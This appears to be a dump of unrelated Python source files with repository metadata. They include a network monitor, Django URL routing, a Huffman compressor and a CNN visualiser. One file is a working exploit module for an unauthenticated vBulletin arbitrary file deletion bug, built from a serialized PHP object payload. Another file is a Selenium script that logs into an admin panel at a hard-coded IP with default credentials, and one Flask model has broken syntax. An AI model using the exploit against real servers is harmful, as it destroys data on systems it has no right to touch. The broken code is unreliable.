# ๆต่งๅจๆๅคงๅ
driver.maximize_window()
# ็ฝๅ
driver.get('http://39.108.195.48:8080/flyweb/user/login')
# ่ดฆๆทๅฏ็ ็ปๅฝ
# ๆๅบๅผๅธธ
try:
# ้ๅกซ
# driver.find_element_by_id('username').send_keys(zh)
# driver.find_element_by_id('passwd').send_keys(mm)
# # ๅบๅฎ
driver.find_element_by_id('username').send_keys('admin')
driver.find_element_by_id('passwd').send_keys('123456')
driver.find_element_by_id('submit_login').click()
time.sleep(2)
driver.find_element_by_xpath('//*[@id="main-menu"]/li[11]/a').click()
time.sleep(2)
except:
print('ๆจ็่ดฆๆทๆ่
ๅฏ็ ้่ฏฏ๏ผ่ฏท้ๆฐ่พๅ
ฅ๏ผ๏ผ')
# ๅ
ณ้ญๆต่งๅจ
driver.quit()
# ๅ่ฐๆนๆณ
JF()
driver.find_element_by_xpath('//*[@id="btn34"]/a').click()
time.sleep(1)
driver.switch_to.frame('mainFrame')
driver.find_element_by_id('keys').send_keys(sj)
driver.find_element_by_xpath('//*[@id="search_order_form"]/div/div[2]/button').click()
time.sleep(1)
driver.find_element_by_xpath('//*[@id="orderlist"]/tbody/tr[2]/td[13]/button').click()
time.sleep(1)
driver.switch_to.default_content()
driver.find_element_by_id('modal-ok-btn').click()
time.sleep(5)
driver.quit()
def main():
xz = input('ๅป็ป่พ1๏ผ่งฃๅป่พ2๏ผ')
if xz == '1':
add_change()
elif xz == '2':
JF()
else:
print('่พๅ
ฅ้่ฏฏ๏ผ')
main()
if __name__ == '__main__':
# zh = input('่ฏท่พๅ
ฅๆจ็ๅๅฐ่ดฆๆท๏ผ')
# mm = input('่ฏท่พๅ
ฅๆจ็ๅๅฐ่ดฆๆทๅฏ็ ๏ผ')
# sj = input('่ฏท่พๅ
ฅ่ฆๅฐ็ฆ/่งฃๅฐ็ๆๆบๅท็ ๏ผ')
main()
|
[
"1583141776@qq.com"
] |
1583141776@qq.com
|
99d0b1a49a4b2b619be7874cf19a6e505931f6d8
|
35b6013c1943f37d1428afd2663c8aba0a02628d
|
/appengine/flexible_python37_and_earlier/storage/noxfile_config.py
|
a97c6f1e260127c6b721ab0af921439d0e47fcf6
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
GoogleCloudPlatform/python-docs-samples
|
d2a251805fbeab15d76ed995cf200727f63f887d
|
44e819e713c3885e38c99c16dc73b7d7478acfe8
|
refs/heads/main
| 2023-08-28T12:52:01.712293 | 2023-08-28T11:18:28 | 2023-08-28T11:18:28 | 35,065,876 | 7,035 | 7,593 |
Apache-2.0
| 2023-09-14T20:20:56 | 2015-05-04T23:26:13 |
Jupyter Notebook
|
UTF-8
|
Python
| false | false | 1,892 |
py
|
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Default TEST_CONFIG_OVERRIDE for python repos.
# You can copy this file into your directory, then it will be imported from
# the noxfile.py.
# The source of truth:
# https://github.com/GoogleCloudPlatform/python-docs-samples/blob/main/noxfile_config.py
TEST_CONFIG_OVERRIDE = {
# You can opt out from the test for specific Python versions.
"ignored_versions": ["2.7", "3.8", "3.9", "3.10", "3.11"],
# Old samples are opted out of enforcing Python type hints
# All new samples should feature them
"enforce_type_hints": True,
# An envvar key for determining the project id to use. Change it
# to 'BUILD_SPECIFIC_GCLOUD_PROJECT' if you want to opt in using a
# build specific Cloud project. You can also use your own string
# to use your own Cloud project.
"gcloud_project_env": "GOOGLE_CLOUD_PROJECT",
# 'gcloud_project_env': 'BUILD_SPECIFIC_GCLOUD_PROJECT',
# If you need to use a specific version of pip,
# change pip_version_override to the string representation
# of the version number, for example, "20.2.4"
"pip_version_override": None,
# A dictionary you want to inject into your test. Don't put any
# secrets here. These values will override predefined values.
"envs": {"CLOUD_STORAGE_BUCKET": "python-docs-samples-tests-public"},
}
|
[
"noreply@github.com"
] |
GoogleCloudPlatform.noreply@github.com
|
764482f357be9bb1f771028e738e7a9b659a4c28
|
f361126ee099303113b5ed3cc0e838bd01a9e41b
|
/Semana3/apoio_pense_python_01.py
|
70ff1f0e90b4ccda9dbca5bab5a6967a4df4cce8
|
[] |
no_license
|
ju-c-lopes/Univesp_Algoritmos_II
|
e1ce5557d342ea75fe929cf7b207e633f9aa89cd
|
5d4eec368be91c18f0ae5c17d342e6eb0f1c79be
|
refs/heads/master
| 2023-06-05T11:09:25.415719 | 2021-07-07T22:26:53 | 2021-07-07T22:26:53 | 383,600,096 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,333 |
py
|
def list_sum(num_list):
the_sum = 0
for i in num_list:
the_sum = the_sum + i
return the_sum
print(f'Funรงรฃo {list_sum([1, 3, 5, 7, 9])}')
soma_1 = ((((1 + 3) + 5) + 7) + 9)
print(f'Soma 1 "((((1 + 3) + 5) + 7) + 9)" = {soma_1}')
soma_2 = (1 + (3 + (5 + (7 + 9))))
print(f'Soma 2 "(1 + (3 + (5 + (7 + 9))))" = {soma_2}')
print("EXPLICAรรO:\n")
print("total = (1 + (3 + (5 + '_______'))) # resolve primeiro o laรงo mais interno\n"
". (7 + 9)\n"
". total = (1 + (3 + '________')) # resolve prรณximo laรงo mais interno com a soma anterior\n"
". (5 + 16)\n"
". total = (1 + '________') # resolve prรณximo laรงo mais interno com a soma anterior\n"
". (3 + 21)\n"
". total = (1 + 24) # por fim, resolve a รบltima soma, resultando o total final\n"
".\n"
". total = 25")
def soma_lista(num_list):
if len(num_list) == 1:
return num_list[0]
else:
return num_list + list_sum(num_list[1:])
print(f'\n{list_sum([1, 3, 5, 7, 9])}')
print("""
TESTE:
def soma(a, b=0):
return a + b
print(soma(9, soma(7, soma(5, soma(3, soma(1))))))
""")
def soma(a, b=0):
return a + b
print(soma(9, soma(7, soma(5, soma(3, soma(1))))))
|
[
"juliano.co.lopes@gmail.com"
] |
juliano.co.lopes@gmail.com
|
e4839e0d0adfd3b843ec9dedf0d6413ef26f6c71
|
3a2993c7a152cc5cd837f0077338c3ebbf61bef8
|
/snippets/urls.py
|
67fcdf7574f9bd33ea476d5a290a8543784c1e60
|
[] |
no_license
|
shaddygarg/pastebinAPI
|
2dbd3abfb78fc97a282dd98afccfc7c1bb508cd5
|
f800160f28eeffbf0d08314e3170cb74ca7ab433
|
refs/heads/master
| 2021-01-18T13:16:47.399664 | 2017-08-15T12:33:20 | 2017-08-15T12:33:20 | 100,375,215 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,172 |
py
|
from django.conf.urls import url,include
from rest_framework.urlpatterns import format_suffix_patterns
from snippets.views import SnippetViewSet,UserViewSet
from rest_framework import renderers
from rest_framework.routers import DefaultRouter
from rest_framework.schemas import get_schema_view
"""
snippet_list=SnippetViewSet.as_view({
'get':'list',
'post':'create',
})
snippet_detail=SnippetViewSet.as_view({
'get':'retrieve',
'put':'update',
'patch':'partial_update',
'delete':'destroy',
})
snippet_highlight=SnippetViewSet.as_view({
'get':'highlight'},renderer_classes=[renderers.StaticHTMLRenderer]
)
user_list=UserViewSet.as_view(
{ 'get':'list'}
)
user_detail=UserViewSet.as_view({'get':'retrieve'})
"""
schema_view=get_schema_view(title='PastebinAPI')
router=DefaultRouter()
router.include_format_suffixes = False
router.register(r'users',UserViewSet)
router.register(r'snippets',SnippetViewSet)
urlpatterns =format_suffix_patterns([
url(r'^',include(router.urls)),
url(r'^api-auth/',include('rest_framework.urls',namespace='rest_framework')),
url(r'^schema/$',schema_view),
])
|
[
"shaddygarg1@gmail.com"
] |
shaddygarg1@gmail.com
|
4eb049824c98be47db25dc2ec7fbfdb10d364ecc
|
41e2a0a2bc0bdbac046942d9288f8d820215a1f4
|
/networkmonitor.py
|
42828593f5c75964877930d787338a9f5792494b
|
[] |
no_license
|
david98/pynetmonitor
|
1d3a819778ab967f86eba36cc0f9e85b5a86bcf9
|
b869641ae4bf94545de31b3e4c914becda6fc50f
|
refs/heads/master
| 2020-03-15T11:54:38.167920 | 2018-05-10T11:36:34 | 2018-05-10T11:36:34 | 132,130,314 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 6,681 |
py
|
#!/usr/bin/python3.6
import datetime
import os
import queue
import sys
import time
import apiserver
import iperfmonitor
import latencymonitor
LATENCY_DUMMY = 9999
DEFAULT_PORT = 8081
REFRESH_TIME = 5
WAIT_THREAD_FOR = 1
LOGS_DIRECTORY = './logs'
BASE_LOGFILE_NAME = 'results-'
def cls():
os.system('cls' if os.name == 'nt' else 'clear')
return
def log_to_file(filePath, fileName, content):
fp = open(filePath + '/' + fileName, 'w')
fp.write(content)
fp.close()
def do_nothing():
return
if len(sys.argv) != 4:
print('Syntax: python networkmonitor.py <local IP> <local port> <remote IP>')
else:
# cls()
localServer = sys.argv[1]
localPort = sys.argv[2]
remoteHost = sys.argv[3]
localBandwidthMonitor = iperfmonitor.IperfMonitor(localServer, localPort)
latencyMonitor = latencymonitor.LatencyMonitor(localServer, remoteHost)
apiServer = apiserver.APIServer(DEFAULT_PORT)
latencyMonitor.start()
apiServer.start()
localBandwidthMonitor.start()
startTime = time.time()
localUpBandValues = []
localDownBandValues = []
localRTTValues = []
remoteRTTValues = []
localFailedPings = 0
remoteFailedPings = 0
averageLocalDown = 0.0
averageLocalUp = 0.0
averageLocalRTT = LATENCY_DUMMY
averageRemoteRTT = LATENCY_DUMMY
# Create directory for logs if it doesn't exist
if not os.path.exists(LOGS_DIRECTORY):
os.makedirs(LOGS_DIRECTORY)
# Create log file name
fileName = BASE_LOGFILE_NAME + datetime.datetime.now().strftime('%b-%d-%G-%H%M%S')
while True:
try:
localCurrentDownBand = localBandwidthMonitor.resultQueue.get().received_Mbps
localCurrentUp = localBandwidthMonitor.resultQueue.get().sent_Mbps
localCurrentRTT = latencyMonitor.localRTTQueue.get()
remoteCurrentRTT = latencyMonitor.remoteRTTQueue.get()
localUpBandValues.append(localCurrentUp)
localDownBandValues.append(localCurrentDownBand)
averageLocalDown = sum(localDownBandValues) / len(localDownBandValues)
averageLocalUp = sum(localUpBandValues) / len(localUpBandValues)
if len(localRTTValues) == 0:
if localCurrentRTT == 'NO ANSWER':
averageLocalRTT = LATENCY_DUMMY
localRTTValues.append(LATENCY_DUMMY)
localFailedPings = localFailedPings + 1
else:
localRTTValues.append(localCurrentRTT)
else:
if localCurrentRTT == 'NO ANSWER':
localRTTValues.append(LATENCY_DUMMY)
else:
localRTTValues.append(localCurrentRTT)
averageLocalRTT = sum(localRTTValues) / len(localRTTValues)
if len(remoteRTTValues) == 0:
if remoteCurrentRTT == 'NO ANSWER':
averageRemoteRTT = LATENCY_DUMMY
remoteRTTValues.append(LATENCY_DUMMY)
remoteFailedPings = remoteFailedPings + 1
else:
remoteRTTValues.append(remoteCurrentRTT)
else:
if remoteCurrentRTT == 'NO ANSWER':
remoteRTTValues.append(LATENCY_DUMMY)
else:
remoteRTTValues.append(remoteCurrentRTT)
averageRemoteRTT = sum(remoteRTTValues) / len(remoteRTTValues)
if localCurrentRTT == 'NO ANSWER':
localLatencyText = 'PING FAILED'
else:
localLatencyText = '{0:.2f}'.format(localCurrentRTT)
if remoteCurrentRTT == 'NO ANSWER':
remoteLatencyText = 'PING FAILED'
else:
remoteLatencyText = '{0:.2f}'.format(remoteCurrentRTT)
cls()
print(' LOCAL SECTION\n iperf server: {0} on port {1}\n'.format(localServer, localPort))
print(' Last Download Speed: {0:.2f} Mbps'.format(localCurrentDownBand),
' Average Download Speed: {0:.2f} Mbps\n'.format(averageLocalDown),
'Last Upload Speed: {0:.2f} Mbps'.format(localCurrentUp),
' Average Upload Speed: {0:.2f} Mbps\n'.format(averageLocalUp),
'\n Local Latency: {0} ms'.format(localLatencyText),
' Average Local Latency: {0:.2f} ms'.format(averageLocalRTT))
print('\n\n REMOTE SECTION (testing against {0})'.format(remoteHost))
print('\n Remote Latency: {1} ms\n'
' Average Remote Latency: {2:.2f} ms'.format(remoteHost, remoteLatencyText, averageRemoteRTT))
data = {
'current_local_down': localCurrentDownBand,
'current_local_up': localCurrentUp,
'avg_local_down': averageLocalDown,
'avg_local_up': averageLocalUp,
'current_latency': localCurrentRTT,
'avg_latency': averageLocalRTT
}
try:
apiServer.dataQueue.put(data)
except queue.Full:
while not apiServer.dataQueue.empty():
apiServer.dataQueue.get()
apiServer.dataQueue.put(data)
timeElapsed = time.time() - startTime
m, s = divmod(timeElapsed, 60)
h, m = divmod(m, 60)
logContent = str(
"LOCAL iperf SERVER: {7} on port {8}\n\nAverage Local Download Speed: {0:.2f} Mbps\n"
"Average Local Upload Speed: {1:.2f} Mbps\nAverage Local "
"Latency: {2:.2f} ms\nFailed pings count: {10:d}\n\nREMOTE HOST: {9}"
"\nAverage Remote Latency: {3:.2f} ms"
"\nFailed pings count: {11:d}\n\n"
"TEST DURATION: {4:02d}h {5:02d}m {6:02d}s".format(
averageLocalDown, averageLocalUp, averageLocalRTT, averageRemoteRTT, int(h), int(m), int(s),
localServer, localPort, remoteHost, localFailedPings, remoteFailedPings))
log_to_file(LOGS_DIRECTORY, fileName, logContent)
except KeyboardInterrupt:
latencyMonitor.stop()
localBandwidthMonitor.stop()
apiServer.stop()
latencyMonitor.join(WAIT_THREAD_FOR)
localBandwidthMonitor.join(WAIT_THREAD_FOR)
apiServer.join(WAIT_THREAD_FOR)
sys.exit(0)
except queue.Empty:
print('No info yet, waiting...')
do_nothing()
except AttributeError:
print('No info yet, waiting...')
finally:
time.sleep(REFRESH_TIME)
|
[
"davidevolta98@gmail.com"
] |
davidevolta98@gmail.com
|
84a2e2cedba48190937bd11bb57b6bfa47a7b970
|
cb6e5ce5cbbb785d8612e3a16f7396c352912fb1
|
/project2/DessiLBI/MNIST/plot.py
|
f89a85091cb9e5a90c04872f55203cbc1f775095
|
[] |
no_license
|
Name-less-King/DATA130011.01-Neural-Network-and-Deep-Learning
|
902d33bc11be81ac48130bdb52ce0f5864502af2
|
64f90abd90dad4639ff1ea5c29cd31aa23fabd84
|
refs/heads/master
| 2023-07-10T03:57:58.628654 | 2021-08-19T06:14:47 | 2021-08-19T06:14:47 | 397,836,968 | 12 | 1 | null | null | null | null |
UTF-8
|
Python
| false | false | 6,907 |
py
|
"""
Created on Sat Nov 18 23:12:08 2017
@author: Utku Ozbulak - github.com/utkuozbulak
"""
import os
import cv2
import numpy as np
import torch
from torch.optim import Adam
# from torchvision import models
from torch import nn
from misc_functions import preprocess_image, recreate_image
class CNNLayerVisualization():
"""
Produces an image that minimizes the loss of a convolution
operation for a specific layer and filter
"""
def __init__(self, model, selected_layer, selected_filter):
self.model = model
self.model.eval()
self.selected_layer = selected_layer
self.selected_filter = selected_filter
self.conv_output = 0
# Generate a random image
self.created_image = np.uint8(np.random.uniform(0, 255, (1,1,32, 32)))
# Create the folder to export images if not exists
if not os.path.exists('./generated'):
os.makedirs('./generated')
def hook_layer(self):
def hook_function(module, grad_in, grad_out):
# Gets the conv output of the selected filter (from selected layer)
self.conv_output = grad_out[0, self.selected_filter]
# Hook the selected layer!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
self.model.conv3.register_forward_hook(hook_function)
# self.model.register_forward_hook(hook_function)
def visualise_layer_with_hooks(self):
# Hook the selected layer
self.hook_layer()
# Process image and return variable
self.processed_image = preprocess_image(self.created_image,resize_im=False)
# Define optimizer for the image
optimizer = Adam([self.processed_image], lr=10, weight_decay=1e-8,amsgrad=True)
for i in range(1, 151):
optimizer.zero_grad()
# Assign create image to a variable to move forward in the model
x = self.processed_image
# for index, layer in enumerate(self.model):
# # Forward pass layer by layer
# # x is not used after this point because it is only needed to trigger
# # the forward hook function
# x = layer(x)
# # Only need to forward until the selected layer is reached
# if index == self.selected_layer:
# # (forward hook function triggered)
# break
# tv_loss = Tvloss(x)
x = self.model(x)
# Loss function is the mean of the output of the selected layer/filter
# We try to minimize the mean of the output of that specific filter
loss = -torch.mean(self.conv_output)
print('Iteration:', str(i), 'Loss:', "{0:.2f}".format(float(loss.data.numpy())))
# Backward
loss.backward()
# Update image
optimizer.step()
# Recreate image
self.created_image = recreate_image(self.processed_image)
# Save image
if not os.path.exists('./generated/layer_vis_l' + str(self.selected_layer) +
'_f' + str(self.selected_filter)):
os.makedirs('./generated/layer_vis_l' + str(self.selected_layer) +
'_f' + str(self.selected_filter))
# if i % 5 == 0:
# cv2.imwrite('../generated/layer_vis_l' + str(self.selected_layer) +
# '_f' + str(self.selected_filter) + '/iter'+str(i)+'.jpg',
# self.created_image)
if i % 150 == 0:
cv2.imwrite('./generated/' + str(self.selected_layer) +
'_' + str(self.selected_filter) + 'iter'+str(i)+'_filter_'+str(index)+'_norm{:.4f}'.format(linear[index])+'.jpg',
self.created_image)
def visualise_layer_without_hooks(self):
# Process image and return variable
self.processed_image = preprocess_image(self.created_image)
# Define optimizer for the image
optimizer = Adam([self.processed_image], lr=0.1, weight_decay=1e-6)
for i in range(1, 20):
optimizer.zero_grad()
# Assign create image to a variable to move forward in the model
x = self.processed_image
for index, layer in enumerate(self.model):
# Forward pass layer by layer
x = layer(x)
if index == self.selected_layer:
# Only need to forward until the selected layer is reached
# Now, x is the output of the selected layer
break
# Here, we get the specific filter from the output of the convolution operation
# x is a tensor of shape 1x512x28x28.(For layer 17)
# So there are 512 unique filter outputs
# Following line selects a filter from 512 filters so self.conv_output will become
# a tensor of shape 28x28
self.conv_output = x[0, self.selected_filter]
# Loss function is the mean of the output of the selected layer/filter
# We try to minimize the mean of the output of that specific filter
loss = -torch.mean(self.conv_output)
print('Iteration:', str(i), 'Loss:', "{0:.2f}".format(loss.data.numpy()))
# Backward
loss.backward()
# Update image
optimizer.step()
# Recreate image
self.created_image = recreate_image(self.processed_image)
# Save image
if i % 15 == 0:
cv2.imwrite('./generated/layer_vis_l' + str(self.selected_layer) +
'_f' + str(self.selected_filter) + '_iter'+str(i)+'.jpg',
self.created_image)
if __name__ == '__main__':
from get_small_model import *
for index in range(120):
cnn_layer = "c5"#useless
filter_pos =index
pretrained_model = get_lenet()
# Fully connected layer is not needed
# pretrained_model = models.resnet18(pretrained=True)
print(type(pretrained_model))
print(pretrained_model)
linear=pretrained_model.conv3.weight.data
print(linear.shape)
linear=torch.reshape(linear,[120,-1])
linear=torch.sum(linear*linear,dim=1)
print(linear)
for i in range(len(linear)):
# if linear[i]>0.0 and linear[i]<1:
# continue
print("filter index",i,"\t","filter norm{:.4f}".format(linear[i]))
print(index)
layer_vis = CNNLayerVisualization(pretrained_model, cnn_layer, filter_pos)
# Layer visualization with pytorch hooks
layer_vis.visualise_layer_with_hooks()
# Layer visualization without pytorch hooks
# layer_vis.visualise_layer_without_hooks()
|
[
"947813392@qq.com"
] |
947813392@qq.com
|
0feb9874f79f30d024d161bf5af8d1e79d098f1c
|
b556abadea683bc614489574a85faedddca48203
|
/backend-py/aplicacion/modelos/tipoconsulta.py
|
796f7be8bcf04feb8f340fcc950cecc7e57abab2
|
[] |
no_license
|
Mile1981/CNT_PY
|
a48b1ae7d0058b391a923e2dd8194d0c2d8d23cb
|
3e764de025ae3ebbd517e9aa4c0b73d407cca097
|
refs/heads/master
| 2023-03-10T19:12:09.284639 | 2021-03-02T12:08:24 | 2021-03-02T12:08:24 | 343,761,242 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,160 |
py
|
# coding: utf-8
import sys, os, re
from sqlalchemy import BigInteger, Column, Date, DateTime, Float, Index, Integer, String, Table, Text, Time
from sqlalchemy.schema import FetchedValue
from sqlalchemy.dialects.mysql.types import LONGBLOB
from sqlalchemy.dialects.mysql.enumerated import ENUM
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.sql.functions import func
# db = SQLAlchemy()
from aplicacion.db import db
class tipoconsulta(db.Model):
__tablename__ = 'tipoconsulta'
id = db.Column(db.Integer, primary_key=True)
tipo = db.Column(db.String(45), nullable=False)
#CRUD
@classmethod
def getAll(cls):
query = cls.query.all()
return query
@classmethod
def get_data(cls, _id):
query = cls.query.filter_by(id=_id).first()
return query
@classmethod
def insert(cls, dataJson):
query = (
tipo = dataJson["tipo"],
)
tipoconsulta.guardar(query)
if query.id:
return query.id
return False
@classmethod
def update_data(cls, _id, dataJson):
try:
db.session.rollback()
query = cls.query.filter_by(id=_id).first()
if query:
if "tipo" in dataJson:
query.tipo = dataJson["tipo"]
query.updated_at = func.NOW()
db.session.commit()
if query.id:
return query.id
return None
except Exception as e:
print("=======================E")
print(e)
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
msj = 'Error: '+ str(exc_obj) + ' File: ' + fname +' linea: '+ str(exc_tb.tb_lineno)
return {'mensaje': str(msj) }, 500
def guardar(self):
db.session.add(self)
db.session.commit()
def eliminar(self):
db.session.delete(self)
db.session.commit()
|
[
"53157364+Mile1981@users.noreply.github.com"
] |
53157364+Mile1981@users.noreply.github.com
|
70d062bd933c4bdcb9186f000f83f2637828ff6e
|
b8fbe492b787e2053592ac4487aa0e72f747b8ab
|
/compress.py
|
c001388242397829c090c9796551d42a9802680b
|
[] |
no_license
|
AhmedEssam19/XML-Editor
|
5c1b22dc1512a8554bb74b5198281806ee9bcf3c
|
297919dfc2cfe0b186d0444f9ba491cb995a4e85
|
refs/heads/master
| 2023-06-23T14:37:05.229317 | 2021-07-15T19:53:53 | 2021-07-15T19:53:53 | 384,942,890 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 3,641 |
py
|
from heapq import heappush, heappop
from collections import defaultdict
from typing import Dict, List
from bitstring import BitArray
class Node:
def __init__(self, char, freq, left, right):
self.char = char
self.freq = freq
self.left = left
self.right = right
def is_leaf(self) -> bool:
return self.left is None and self.right is None
def __lt__(self, other) -> bool:
return self.freq < other.freq
def __repr__(self):
return f"Node({self.char}, {self.freq})"
def buildTrie(freq: Dict[str, int]) -> Node:
heap = []
for char in freq:
heappush(heap, Node(char, freq[char], None, None))
while len(heap) > 1:
left = heappop(heap)
right = heappop(heap)
heappush(heap, Node('\0', left.freq + right.freq, left, right))
return heappop(heap)
def buildCode(char_to_code: Dict[str, str], x: Node, code: str):
if x.is_leaf():
char_to_code[x.char] = code
else:
buildCode(char_to_code, x.left, code + '0')
buildCode(char_to_code, x.right, code + '1')
def writeTrie(x: Node, bitArray: List[str]):
if x.is_leaf():
bitArray.append('1')
bitArray.append(format(ord(x.char), '08b'))
return
bitArray.append('0')
writeTrie(x.left, bitArray)
writeTrie(x.right, bitArray)
def readTrie(trieBits: list) -> Node:
isLeaf = int(trieBits.pop(0))
if isLeaf:
char = chr(int("".join([trieBits.pop(0) for _ in range(8)]), 2))
return Node(char, -1, None, None)
return Node('\0', -1, readTrie(trieBits), readTrie(trieBits))
def compress(file_name: str):
# Read text file
with open(file_name, 'rt') as xml_file:
text = xml_file.read()
# Tabulate frequency count
freq = defaultdict(int)
for char in text:
freq[char] += 1
# Build Huffman trie
root = buildTrie(freq)
# Build code table
char_to_code = {}
buildCode(char_to_code, root, "")
# Save trie for decoding/expanding
trieBits = []
writeTrie(root, trieBits)
trieBits = "".join(trieBits)
# Encode text
encoded_text = "".join([char_to_code[char] for char in text])
# Save the compressed data
with open(file_name.split('.')[0]+'.m3a', 'wb') as compress_file:
compressed_data = format(len(trieBits), '064b') + trieBits + format(len(text), '064b') + encoded_text
bitArray = BitArray(bin=compressed_data)
bitArray.tofile(compress_file)
def expand(file_name: str) -> str:
# Read file bits as string
with open(file_name, 'rb') as compressed_file:
data = compressed_file.read()
bitArray = "".join(map(lambda byte: format(byte, '08b'), data))
# Get the length of the trie model
trieBitsLength = int(bitArray[:64], 2)
# Get the trie bits
trieBits = list(bitArray[64: 64 + trieBitsLength])
# Construct the trie
root = readTrie(trieBits)
# Get characters number
charsLength = int(bitArray[64 + trieBitsLength: 64 + trieBitsLength + 64], 2)
# Get the encoded bits
encoded_text = bitArray[64 + trieBitsLength + 64:]
# Decode the text using the trie
chars_list = []
index = 0
for i in range(charsLength):
x = root
while not x.is_leaf():
bit = int(encoded_text[index])
if bit:
x = x.right
else:
x = x.left
index += 1
chars_list.append(x.char)
return "".join(chars_list)
def minify(text: str) -> str:
return '>'.join([subtext.strip('\n' '\t' ' ') for subtext in text.split('>')])
|
[
"mostafaelsharnobi@gmail.com"
] |
mostafaelsharnobi@gmail.com
|
9d420c1e6d569842ac81ee8f2b51aeee380229d2
|
2b84d52b8b264ee299d01a2b3bf503a1e4610bd0
|
/po/forms.py
|
7bc6958f75b5d8aa65fe5400288ec4af898ea765
|
[] |
no_license
|
dbaugh0310/Post-Offices
|
f4f4754cd7172527f6d6b3e330ba406d6b9c4640
|
ffc0d555cd42a3b1f186dc39ba2045f3fd56bc48
|
refs/heads/main
| 2023-06-24T19:24:53.443673 | 2023-06-14T02:54:50 | 2023-06-14T02:54:50 | 314,629,294 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 211 |
py
|
from django import forms
from po.models import LogMessage
class LogMessageForm(forms.ModelForm):
class Meta:
model = LogMessage
fields = ("message",) # NOTE: the trailing comma is required
|
[
"justin.deffenbaugh@gmail.com"
] |
justin.deffenbaugh@gmail.com
|
272fe74eaf3eb220407cf3f170f25e94cf1d1ea6
|
37908440ce625e4ad15c7fdae0f5c42a0f7f06cd
|
/exploits/efa_vbulletin_afd.py
|
8b51cf55eb2f9dbda403b2f0c0a4eaa2fdf4901a
|
[] |
no_license
|
sec-js/EaST
|
daff1c84e73e43825a87e3c2c1ec63d05d73141b
|
4b1ab5333022bbd476e9a43f13c4a4b559488752
|
refs/heads/master
| 2023-01-07T13:14:28.480980 | 2022-09-18T18:21:19 | 2022-09-18T18:21:19 | 337,508,843 | 0 | 0 | null | 2022-12-21T23:26:22 | 2021-02-09T19:09:47 | null |
UTF-8
|
Python
| false | false | 3,347 |
py
|
#! /usr/bin/env python
# -*- coding: utf_8 -*-
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
import sys
import os
import urllib2
from collections import OrderedDict
sys.path.append('./core')
from Sploit import Sploit
INFO = {}
INFO['NAME'] = "efa_vbulletin_afd"
INFO['DESCRIPTION'] = "vBulletin cacheTemplates - Unauthenticated Remote Arbitrary File Deletion"
INFO['VENDOR'] = "https://www.vbulletin.com/"
INFO['DOWNLOAD_LINK'] = ''
INFO['LINKS'] = ['https://blogs.securiteam.com/index.php/archives/3573']
INFO["CVE Name"] = ""
INFO["NOTES"] = """By sending POST request an unauthenticated attacker can delete files from the victims server
"""
INFO['CHANGELOG'] = "15 Dec 2017. Written by Gleg team."
INFO['PATH'] = 'Exploits/Web/'
# Must be in every module, to be set by framework
OPTIONS = OrderedDict()
OPTIONS["HOST"] = "127.0.0.1", dict(description = 'Target IP')
OPTIONS["PORT"] = 80, dict(description = 'Target port')
OPTIONS["BASEPATH"] = '/vb', dict(description = 'Basepath')
OPTIONS['PATH'] = '/path/to/file', dict(description = 'File to delete')
OPTIONS['SSL'] = False, dict(description = 'Use SSL')
class exploit(Sploit):
def __init__(self, host = "", port = 0, logger = None):
Sploit.__init__(self, logger = logger)
self.name = INFO['NAME']
self.host = host
self.port = port
self.ssl = False
self.basepath = "/"
self.path = OPTIONS['PATH']
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.path = self.args.get('PATH', OPTIONS['PATH'])
self.ssl = bool(self.args.get('SSL', False))
self.basepath = self.args.get('BASEPATH', self.basepath)
if self.ssl:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
opener = urllib2.build_opener(urllib2.HTTPSHandler(context=context))
urllib2.install_opener(opener)
def make_url(self, path = ''):
return '{}{}:{}{}{}'.format(self.prot(), self.host, self.port, self.basepath, path)
def prot(self):
return self.ssl and 'https://' or 'http://'
def run(self):
self.args()
self.log("Attacking {}".format(self.host))
url = self.make_url('/ajax/api/template/cacheTemplates')
data = 'templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:LEN:"FILE";}'
data = data.replace('LEN', str(len(self.path)))
data = data.replace('FILE', self.path)
self.log('Try to delete file ' + self.path)
try:
request = urllib2.Request(url, data)
fd = urllib2.urlopen(request)
content = fd.read()
except Exception as e:
self.log(e)
self.finish(False)
self.finish(True)
if __name__ == '__main__':
"""
By now we only have the tool mode for exploit..
Later we would have standalone mode also.
"""
print "Running exploit %s .. " % INFO['NAME']
e = exploit('', 80)
e.run()
|
[
"noreply@github.com"
] |
sec-js.noreply@github.com
|
286727604a1a4097edb3d5d89a5b2ef564a96ae2
|
9ccbf2d40c4cfcf8fd8be9ca296a5d5a73f29f81
|
/lib/test/image.py
|
ab06da5d2da937285dcda135951190257901a57f
|
[] |
no_license
|
garyggyy/mmdetection-train
|
cf6ffc4c447d3b297e14a742cc831f363d36e79e
|
0c5efcadbb12e2734146957d4601c9329071b441
|
refs/heads/master
| 2020-05-16T15:05:01.498670 | 2019-04-29T08:12:35 | 2019-04-29T08:12:35 | 183,121,988 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 4,552 |
py
|
import cv2
import numpy as np
from mmcv.image import imread, imwrite
from color import color_val
def imshow(img, win_name='', wait_time=0):
"""Show an image.
Args:
img (str or ndarray): The image to be displayed.
win_name (str): The window name.
wait_time (int): Value of waitKey param.
"""
cv2.imshow(win_name, imread(img))
